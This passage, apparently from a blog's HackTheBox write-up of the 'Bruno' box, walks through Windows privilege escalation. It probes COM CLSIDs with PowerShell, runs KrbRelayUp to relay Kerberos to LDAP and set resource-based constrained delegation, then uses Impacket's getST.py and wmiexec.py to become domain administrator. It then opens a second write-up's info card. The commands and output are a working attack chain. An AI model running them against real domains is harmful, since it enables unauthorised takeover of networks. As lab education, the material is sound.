    Directory: C:\ProgramData\Windows_Server_2022_Datacenter

Mode                 LastWriteTime         Length Name     
----                 -------------         ------ ----
-a----         2/20/2026  11:43 PM           3200 CLSID.list
-a----         2/20/2026  11:43 PM           7697 CLSIDs.csv
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">CLSIDs.csv</code> maps each CLSID to its backing Windows service (the LocalService column). A CLSID is just a pointer to a COM object. To actually activate it, the underlying service needs to be running (or at least startable).</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\ProgramData&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">Windows_Server_2022_Datacenter\\CLSIDs.csv</span><span class="w">
</span><span class="go">"AppId","LocalService","CLSID"
"{4A0F9AA8-A71E-4CC3-891B-76CAC67E67C0}","ALG","{D6015EC3-FA16-4813-9CA1-DA204574F5DA}"
"{88283d7c-46f4-47d5-8fc2-db0b5cf0cb54}","AppReadiness","{c980e4c2-c178-4572-935d-a8a429884806}"
"{8D315960-32C4-4235-8369-901DF222816F}","AppVClient","{F01D6448-0959-4E38-B6F6-B6643D4558FE}"
"{03E09F3B-DCE4-44FE-A9CF-82D050827E1C}","AudioSrv","{21B896BF-008D-4D01-A27B-26061B960DD7}"
"{0B15AFD8-3A99-4A6E-9975-30D66F70BD94}","AxInstSv","{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}"
"{69AD4AEE-51BE-439b-A92C-86AE490E8B30}","BITS","{03ca98d6-ff5d-49b8-abc6-03dd84127020}"
"{5E176815-9A63-4A69-810F-62E90D36612A}","cdpsvc","{206490E7-09B5-4C9D-8E54-254B87A5CEAF}"
"{D99E6E74-FC88-11D0-B498-00A0C90312F3}","CertSvc","{D99E6E73-FC88-11D0-B498-00A0C90312F3}"
"{52551A19-B337-498d-AE75-2283E29902DE}","CscService","{69486DD6-C19F-42e8-B508-A53F9F8E67B8}"
"{AAAF9453-58F9-4872-A428-0507C383AC37}","CscService","{FD3659E9-A920-4123-AD64-7FC76C7AACDF}"
"{ab7c873b-eb14-49a6-be60-a602f80e6d22}","defragsvc","{d20a3293-3341-4ae8-9aaf-8e397cb63c34}"
"{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}","DiagnosticsHub.StandardCollector.Service","{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}"
"{98457147-39B0-4AA0-9735-1CB7F4F6CB0F}","DmEnrollmentSvc","{1A237AAA-3F82-4D15-AC67-E9BCC06AE07C}"
"{379001DE-7108-4A45-8A74-6CD0A9FBEF2C}","dosvc","{5B99FA76-721C-423C-ADAC-56D03C8A8007}"
"{ddcfd26b-feed-44cd-b71d-79487d2e5e5a}","dps","{ddcfd26b-feed-44cd-b71d-79487d2e5e5a}"
"{ada41b3c-c6fd-4a08-8cc1-d6efde67be7d}","dps","{7022a3b3-d004-4f52-af11-e9e987fee25f}"
"{8B4B437E-4CAB-4e83-89F6-7F9F7DF414EA}","EapHost","{8B4B437E-4CAB-4e83-89F6-7F9F7DF414EA}"
"{0A886F29-465A-4aea-8B8E-BE926BFAE83E}","EapHost","{0A886F29-465A-4aea-8B8E-BE926BFAE83E}"
"{8C482DCE-2644-4419-AEFF-189219F916B9}","EapHost","{8C482DCE-2644-4419-AEFF-189219F916B9}"
"{42C21DF5-FB58-4102-90E9-96A213DC7CE8}","EntAppSvc","{42C21DF5-FB58-4102-90E9-96A213DC7CE8}"
"{C63261E4-6052-41FF-B919-496FECF4C4E5}","EntAppSvc","{C63261E4-6052-41FF-B919-496FECF4C4E5}"
"{FFE1E5FE-F1F0-48C8-953E-72BA272F2744}","EntAppSvc","{FFE1E5FE-F1F0-48C8-953E-72BA272F2744}"
"{1BE1F766-5536-11D1-B726-00C04FB926AF}","EventSystem","{1BE1F766-5536-11D1-B726-00C04FB926AF}"
"{D3DCB472-7261-43ce-924B-0704BD730D5F}","fdPHost","{D3DCB472-7261-43ce-924B-0704BD730D5F}"
"{145B4335-FE2A-4927-A040-7C35AD3180EF}","fdPHost","{145B4335-FE2A-4927-A040-7C35AD3180EF}"
"{35b1d3bb-2d4e-4a7c-9af0-f2f677af7c30}","fdPHost","{35b1d3bb-2d4e-4a7c-9af0-f2f677af7c30}"
"{75BE3767-9BAD-477C-A125-26379D3EDB4A}","FTPSVC","{75BE3767-9BAD-477C-A125-26379D3EDB4A}"
"{cd93979b-c14e-4c29-87a4-75e4f9fa5e0a}","GraphicsPerfSvc","{805a61d6-44c1-48c0-8af1-721a248effed}"
"{A9E69610-B80D-11D0-B9B9-00A0C922E750}","IISADMIN","{A9E69610-B80D-11D0-B9B9-00A0C922E750}"
"{61738644-F196-11D0-9953-00C04FD919C1}","IISADMIN","{61738644-F196-11D0-9953-00C04FD919C1}"
"{730BFCEC-E4BF-4D3A-9FBB-01DD132467A4}","InputService","{E0F55444-C140-4EF4-BDA3-621554EDB573}"
"{020FB939-2C8B-4DB7-9E90-9527966E38E5}","lfsvc","{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD}"
"{e53cd6ee-5c5c-4701-9ff2-c204bfed819d}","LicenseManager","{22f5b1df-7d7a-4d21-97f8-c21aefba859c}"
"{19BCA967-D266-436f-B2D4-CBE4D4B42F96}","lltdsvc","{5BF9AA75-D7FF-4aee-AA2C-96810586456D}"
"{5C03E1B1-EB13-4DF1-8943-2FE8E7D5F309}","MapsBroker","{5C03E1B1-EB13-4DF1-8943-2FE8E7D5F309}"
"{C08E4363-9771-4955-A002-09932AE4874B}","McpManagementService","{2F21A1B8-750B-4AC7-A6E2-C70A3F2D21FB}"
"{1FCBE96C-1697-43AF-9140-2897C7C69767}","MicrosoftEdgeElevationService","{1FCBE96C-1697-43AF-9140-2897C7C69767}"
"{000C101C-0000-0000-C000-000000000046}","MSIServer","{000C101C-0000-0000-C000-000000000046}"
"{27AF75ED-20D9-11D1-B1CE-00805FC1270E}","netman","{02FAFBE2-4E3B-49BE-A5AB-FD416270EE4B}"
"{C96887DA-A652-4426-905E-4A37546F847C}","netprofm","{A47979D2-C419-11D9-A5B4-001185AD2B89}"
"{588E10FA-0618-48A1-BE2F-0AD93E899FCC}","PrintNotify","{854A20FB-2D44-457D-992F-EF13785D2B51}"
"{72E3272B-4EEA-4104-B358-1A282E4FC1AD}","profsvc","{BA677074-762C-444b-94C8-8C83F93F6605}"
"{478B41E6-3257-4519-BDA8-E971F9843849}","RmSvc","{581333F6-28DB-41BE-BC7A-FF201F12F3F6}"
"{6EBBFC6C-B721-4D10-9371-5D8E8C76D315}","RSoPProv","{F0FF8EBB-F14D-4369-BD2E-D84FBF6122D6}"
"{8217749a-e821-4001-94ce-06c6b9b97fe1}","securityhealthservice","{C39622C7-DDA7-4385-BD69-B6CC374C2E2F}"
"{2EB6D15C-5239-41CF-82FB-353D20B816CF}","SecurityHealthService","{1B48339C-D15E-45F3-AD55-A851CB66BE6B}"
"{AC05815A-A8D5-434B-B9A8-2FFD162F2B7D}","SEMgrSvc","{233F8888-506F-45BE-8B87-DFBF08F54C12}"
"{6F4B8D94-91FE-4665-B1E7-A34AE3F299F6}","SEMgrSvc","{49E6370B-AB71-40AB-92F4-B009593E4518}"
"{B1B9CBB2-B198-47E2-8260-9FD629A2B2EC}","ShellHWDetection","{555F3418-D99E-4E51-800A-6E89CFD8B1D7}"
"{f7f34f79-6791-4d4e-9f15-9eaecd50bd78}","shpamsvc","{e7921051-7828-4d09-b4fe-aa5393e85971}"
"{A1F4E726-8CF1-11D1-BF92-0060081ED811}","stisvc","{A1F4E726-8CF1-11D1-BF92-0060081ED811}"
"{B6C292BC-7C88-41EE-8B54-8EC92617E599}","stisvc","{B6C292BC-7C88-41EE-8B54-8EC92617E599}"
"{4db9c793-c48d-449c-9754-46027ee45c94}","swprv","{65EE1DBA-8FF4-4a58-AC1C-3470EE2F376A}"
"{C9F65BA8-1F8F-4382-AE27-C91FFB29275F}","TermService","{F9A874B6-F8A8-4D73-B5A8-AB610816828B}"
"{6DF5BCF4-22E9-446D-8763-A2C7677ECF7D}","TieringEngineService","{50D185B9-FFF3-4656-92C7-E4018DA4361D}"
"{D8D4249F-A8FB-44A7-8AA0-564E8C385BD6}","TrustedInstaller","{F556F9B2-C810-44A2-BA7A-3AB8C24E666D}"
"{752073A2-23F2-4396-85F0-8FDB879ED0ED}","TrustedInstaller","{3c6859ce-230b-48a4-be6c-932c0c202048}"
"{E495081B-BBA5-4b89-BA3C-3B86A686B87A}","upnphost","{0fb40f0d-1021-4022-8da0-aab0588dfc8b}"
"{E7299E79-75E5-47BB-A03D-6D319FB7F886}","UsoSvc","{84C80796-F07C-4340-8897-DA954AADBF16}"
"{F290BFB2-1864-45B1-8804-2654194A87E7}","vds","{7D1933CB-86F6-4A98-8628-01BE94C9A575}"
"{be0fc7f0-f248-4091-a123-34ca29a6901b}","vmicheartbeat","{397a2e5f-348c-482d-b9a3-57d383b483cd}"
"{56BE716B-2F76-4dfa-8702-67AE10044F0B}","VSS","{0B5A2C52-3EB9-470a-96E2-6C6D4570E40F}"
"{2ED83BAA-B2FD-43B1-99BF-E6149C622692}","WaaSMedicSvc","{72566e27-1abb-4eb3-b4f0-eb431cb1cb32}"
"{5BC7A3A1-E905-414B-9790-E511346F5CA6}","WalletService","{97061DF1-33AA-4B30-9A92-647546D943F3}"
"{27D6B72D-094D-445A-9ACE-8298CBA0611A}","WalletService","{9A3E1311-23F8-42DC-815F-DDBC763D50BB}"
"{2EA38040-0B9C-4379-87FD-4D38BB892F37}","WalletService","{02ECA72E-27DA-40E1-BDB1-4423CE649AD9}"
"{8E44A57C-5638-44D3-9B83-34DF70EB57F2}","WalletService","{84C22490-C68A-4492-B3A6-3B7CB17FA122}"
"{119817C9-666D-4053-AEDA-627D0E25CCEF}","was","{119817C9-666D-4053-AEDA-627D0E25CCEF}"
"{136A0DC7-DF5C-4271-A2AC-15DF1A1323F2}","wercplsupport","{0E9A7BB5-F699-4D66-8A47-B919F5B6A1DB}"
"{2781761E-28E2-4109-99FE-B9D127C57AFE}","WinDefend","{2781761E-28E2-4109-99FE-B9D127C57AFE}"
"{8BC3F05E-D86B-11D0-A075-00C04FB68820}","winmgmt","{8BC3F05E-D86B-11D0-A075-00C04FB68820}"
"{7006698d-2974-4091-a424-85dd0b909e23}","wisvc","{3185a766-b338-11e4-a71e-12e3f512a338}"
"{EAB99738-0ADF-4A53-856C-DE58AFDE7682}","wisvc","{7519A68F-E6F1-422E-B741-F9B960CBAA97}"
"{E055B85B-22BD-4E15-A34D-46C58AB320AD}","wisvc","{BA75691E-9FF3-492C-9053-4A91A40C556E}"
"{2568BFC5-CDBE-4585-B8AE-C403A2A5B84A}","wisvc","{6150FC78-21A1-46A4-BF3F-897090C6D79D}"
"{34E76A18-223B-4E23-BEAD-F59358CC0A90}","wpnservice","{1FD1B5A7-5C96-4711-A7C3-FFF6D21F93D9}"
"{0B789C73-D8DA-416D-B665-C1603676CEB1}","WpnUserService","{1FFE4FFD-25B1-40B1-A1EA-EF633353BB4E}"
"{AB7BDC53-0BB5-44F5-9E25-C444313D4686}","WpnUserService","{61DE29D7-7D74-4F3B-9B2B-99F88C406FB7}"
"{9E175B9C-F52A-11D8-B9A5-505054503030}","WSearch","{30766BD2-EA1C-4F28-BF27-0B44E2F68DB7}"
"{653C5148-4DCE-4905-9CFD-1B23662D3D9E}","wuauserv","{b8fc52f5-cb03-4e10-8bcb-e3ec794c54a5}"
</span></code></pre></div></div>

<p>I’ll have Claude write me some PowerShell to try each line and look for running services, and one’s that I can activate:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\ProgramData&gt;</span><span class="w"> </span><span class="n">Import-Csv</span><span class="w"> </span><span class="nx">Windows_Server_2022_Datacenter\CLSIDs.csv</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$entry</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="p">;</span><span class="w"> </span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$svc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Service</span><span class="w"> </span><span class="nv">$entry</span><span class="o">.</span><span class="nf">LocalService</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">Stop</span><span class="p">;</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$svc</span><span class="o">.</span><span class="nf">Status</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="s2">"Running"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">System.Activator</span><span class="p">]::</span><span class="n">CreateInstance</span><span class="p">([</span><span class="n">Type</span><span class="p">]::</span><span class="n">GetTypeFromCLSID</span><span class="p">(</span><span class="nv">$entry</span><span class="o">.</span><span class="nf">CLSID</span><span class="o">.</span><span class="nf">Trim</span><span class="p">(</span><span class="s2">"{}"</span><span class="p">)))</span><span class="o">|</span><span class="n">Out-Null</span><span class="p">;</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$entry</span><span class="o">.</span><span class="nf">LocalService</span><span class="si">)</span><span class="s2"> | </span><span class="si">$(</span><span class="nv">$entry</span><span class="o">.</span><span class="nf">CLSID</span><span class="si">)</span><span class="s2"> | Activate OK"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Exception</span><span class="o">.</span><span class="nf">Message</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s2">"80070005"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Access Denied"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">elseif</span><span class="w"> </span><span class="p">(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Exception</span><span class="o">.</span><span class="nf">Message</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s2">"80040111"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Class Not Available"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">elseif</span><span class="w"> </span><span class="p">(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Exception</span><span class="o">.</span><span class="nf">Message</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s2">"80070422"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Service Disabled"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Failed"</span><span class="w"> </span><span class="p">};</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$entry</span><span class="o">.</span><span class="nf">LocalService</span><span class="si">)</span><span class="s2"> | </span><span class="si">$(</span><span class="nv">$entry</span><span class="o">.</span><span class="nf">CLSID</span><span class="si">)</span><span class="s2"> | </span><span class="nv">$r</span><span class="s2">"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{}</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="go">CertSvc | {D99E6E73-FC88-11D0-B498-00A0C90312F3} | Activate OK
UsoSvc | {84C80796-F07C-4340-8897-DA954AADBF16} | Class Not Available
vds | {7D1933CB-86F6-4A98-8628-01BE94C9A575} | Access Denied
</span></code></pre></div></div>

<p>It finds three, but only <code class="language-plaintext highlighter-rouge">CertSvc</code> can I activate.</p>

<h4 id="krbrelayup">KrbRelayUp</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">KrbRelayUp.exe</code>  to perform this attack. If I don’t give it a CLSID, it uses the default and fails:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\KrbRelayUp.exe</span><span class="w"> </span><span class="nx">relay</span><span class="w"> </span><span class="nt">-Domain</span><span class="w"> </span><span class="nx">bruno.vl</span><span class="w"> </span><span class="nt">-CreateNewComputerAccount</span><span class="w"> </span><span class="nt">-ComputerName</span><span class="w"> </span><span class="s1">'0xdf$'</span><span class="w"> </span><span class="nt">-ComputerPassword</span><span class="w"> </span><span class="nx">0xdf0xdf</span><span class="w">                                                                                                       
</span><span class="go">KrbRelayUp - Relaying you to SYSTEM                                                                                   

[+] Rewriting function table
[+] Rewriting PEB                                                                                                     
[+] Init COM server                                                                                                   
[+] Computer account "0xdf$" added with password "0xdf0xdf"                                                           
[+] Looking for available ports..                                                                                     
[+] Port 10246 available
[+] Register COM server                                                                                               
[+] Forcing SYSTEM authentication
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
 
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. 
   at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid&amp; pclsid, Object pUnkOuter, CLSCT
X dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)                                                        
   at KrbRelayUp.Relay.Relay.Run() 
</span></code></pre></div></div>

<p>I’ll give it the CLSID that validated in the section above, and I’ll have to try a new computer name:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\ProgramData&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\KrbRelayUp.exe</span><span class="w"> </span><span class="nx">relay</span><span class="w"> </span><span class="nt">-Domain</span><span class="w"> </span><span class="nx">bruno.vl</span><span class="w"> </span><span class="nt">-CreateNewComputerAccount</span><span class="w"> </span><span class="nt">-ComputerName</span><span class="w"> </span><span class="s1">'oxdf$'</span><span class="w"> </span><span class="nt">-ComputerPassword</span><span class="w"> </span><span class="nx">0xdf0xdf</span><span class="w"> </span><span class="nt">-cls</span><span class="w"> </span><span class="nx">D99E6E73-FC88-11D0-B498-00A0C90312F3</span><span class="w">
</span><span class="go">KrbRelayUp - Relaying you to SYSTEM

[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Computer account "oxdf$" added with password "0xdf0xdf"
[+] Looking for available ports..
[+] Port 10246 available
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
[+] Run the spawn method for SYSTEM shell:
    ./KrbRelayUp.exe spawn -m rbcd -d bruno.vl -dc brunodc.bruno.vl -cn oxdf$ -cp 0xdf0xdf
</span></code></pre></div></div>

<p>It worked! It gives another command to run, <code class="language-plaintext highlighter-rouge">spawn</code>, which will launch a CMD terminal as SYSTEM. This won’t help me much here without an interactive access to the host like RDP.</p>

<p>Instead I’ll make a service ticket as the oxdf$ account impersonating the Administrator account from my VM:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>getST.py <span class="nt">-spn</span> <span class="s1">'HOST/brunodc.bruno.vl'</span> <span class="nt">-impersonate</span> administrator <span class="nt">-dc-ip</span> 10.129.238.9 bruno.vl/oxdf<span class="nv">$:</span><span class="s1">'0xdf0xdf'</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache
</span></code></pre></div></div>

<p>I’ll use the ticket with <code class="language-plaintext highlighter-rouge">wmiexec.py</code> from <a href="https://github.com/fortra/impacket">Impacket</a> to get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache wmiexec.py administrator@brunodc.bruno.vl <span class="nt">-k</span> <span class="nt">-no-pass</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
</span><span class="gp">C:\&gt;</span><span class="nb">whoami</span>
<span class="go">bruno\administrator
</span></code></pre></div></div>

<p>And grab the root flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">C:\Users\Administrator\Desktop&gt;</span><span class="nb">type </span>root.txt
<span class="go">4563d724************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-bruno" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="htb-bruno" /><category term="hackthebox" /><category term="vulnlab" /><category term="nmap" /><category term="windows" /><category term="active-directory" /><category term="kerberos" /><category term="iis" /><category term="asp-dot-net" /><category term="ffuf" /><category term="subdomain" /><category term="netexec" /><category term="feroxbuster" /><category term="reverse-engineering" /><category term="dotnet" /><category term="dotpeek" /><category term="kerbrute" /><category term="as-rep-roast" /><category term="hashcat" /><category term="zipslip" /><category term="python" /><category term="python-zipfile" /><category term="dll-hijack" /><category term="procmon" /><category term="msfvenom" /><category term="dll" /><category term="ldap-signing" /><category term="kerberos-relay" /><category term="krbrelayup" /><category term="getclsid-ps1" /><category term="service-ticket" /><category term="getst" /><category term="wmiexec" /><category term="rbcd" /><category term="impacket" /><category term="dcom" /><category term="clsid" /><category term="s4u2self" /><category term="s4u2proxy" /><summary type="html"><![CDATA[Bruno is a Windows Active Directory box. I’ll start by finding a .NET sample scanning application on FTP, and after reverse engineering it, discover a ZipSlip vulnerability in how it handles zip archives. Combining that with a DLL hijack, I’ll get a shell as the service account that runs the scanner. For privilege escalation, I’ll exploit the lack of LDAP signing by performing a Kerberos relay attack, setting up resource-based constrained delegation to impersonate the Administrator.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/bruno-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/bruno-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Giveback</title><link href="https://0xdf.gitlab.io/2026/02/21/htb-giveback.html" rel="alternate" type="text/html" title="HTB: Giveback" /><published>2026-02-21T14:45:00+00:00</published><updated>2026-02-21T14:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/21/htb-giveback</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/21/htb-giveback.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/giveback-cover.webp" />
    <img loading="lazy" src="/img/giveback-cover.png" alt="Giveback" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Giveback starts with a WordPress website with a donation plugin that’s vulnerable to a RCE exploit. I’ll get a shell in a Kubernetes pod, and use it to scan an internal legacy app running PHP-CGI. I’ll abuse a vulnerability in that application to get to the next pod, where I’ll find a Kubernetes secret to interact with the API and dump secrets. I’ll use an SSH password to get on the host. For root I’ll abuse a custom wrapper around runc two different ways.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/796 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/giveback" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-giveback.webp" />
          <img src="/icons/box-giveback.png" alt="Giveback" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/giveback" target="_blank" class="htb-box-name">Giveback</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1983942048278323674">01 Nov 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">21 Feb 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="/img/giveback-diff.webp" />
          <img src="/img/giveback-diff.png" alt="Rated difficulty for Giveback" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="/img/giveback-radar.webp" />
          <img src="/img/giveback-radar.png" alt="Radar chart for Giveback" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:52:49</span></span><a href="https://app.hackthebox.com/users/634163" target="_blank" rel="noopener"><img alt="l1nvx" src="https://www.hackthebox.com/badge/image/634163" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> l1nvx</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
